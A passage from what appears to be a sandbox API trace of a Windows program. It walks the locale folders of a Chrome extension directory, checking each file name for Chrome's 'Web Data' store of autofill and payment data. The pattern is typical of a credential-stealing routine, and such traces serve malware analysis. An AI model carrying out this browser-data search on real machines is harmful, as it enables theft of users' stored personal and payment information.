lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.615] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.615] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.615] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.615] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.615] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.615] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0078.615] LocalFree (hMem=0x6523b0) returned 0x0 [0078.615] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.615] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0078.615] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*" [0078.615] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.615] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.615] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.616] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.616] LocalFree (hMem=0x6525c0) returned 0x0 [0078.616] LocalFree (hMem=0x6524b8) returned 0x0 [0078.616] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.616] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.616] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.616] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.616] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0078.616] LocalFree (hMem=0x6523b0) returned 0x0 [0078.616] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.616] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0078.616] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*" [0078.616] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.629] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.629] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.629] LocalFree (hMem=0x6525c0) returned 0x0 [0078.629] LocalFree (hMem=0x6524b8) returned 0x0 [0078.629] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.629] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.629] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.630] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.630] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.630] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0078.630] LocalFree (hMem=0x6523b0) returned 0x0 [0078.630] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.630] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0078.630] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*" [0078.630] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.630] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.630] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.630] LocalFree (hMem=0x6525c0) returned 0x0 [0078.630] LocalFree (hMem=0x6524b8) returned 0x0 [0078.630] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.630] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.630] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.630] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.630] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.630] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0078.630] LocalFree (hMem=0x6523b0) returned 0x0 [0078.630] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.630] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0078.630] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*" [0078.630] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.631] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.631] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.632] LocalFree (hMem=0x6525c0) returned 0x0 [0078.632] LocalFree (hMem=0x6524b8) returned 0x0 [0078.632] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.632] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.632] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.632] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.632] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.632] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0078.632] LocalFree (hMem=0x6523b0) returned 0x0 [0078.632] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.632] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0078.632] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*" [0078.632] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.632] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.632] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.632] LocalFree (hMem=0x6525c0) returned 0x0 [0078.632] LocalFree (hMem=0x6524b8) returned 0x0 [0078.632] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.632] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.632] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.632] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.632] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.632] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0078.632] LocalFree (hMem=0x6523b0) returned 0x0 [0078.633] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.633] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0078.633] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*" [0078.633] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.634] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.634] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.634] LocalFree (hMem=0x6525c0) returned 0x0 [0078.634] LocalFree (hMem=0x6524b8) returned 0x0 [0078.634] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.634] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.634] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.634] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.634] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.634] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0078.634] LocalFree 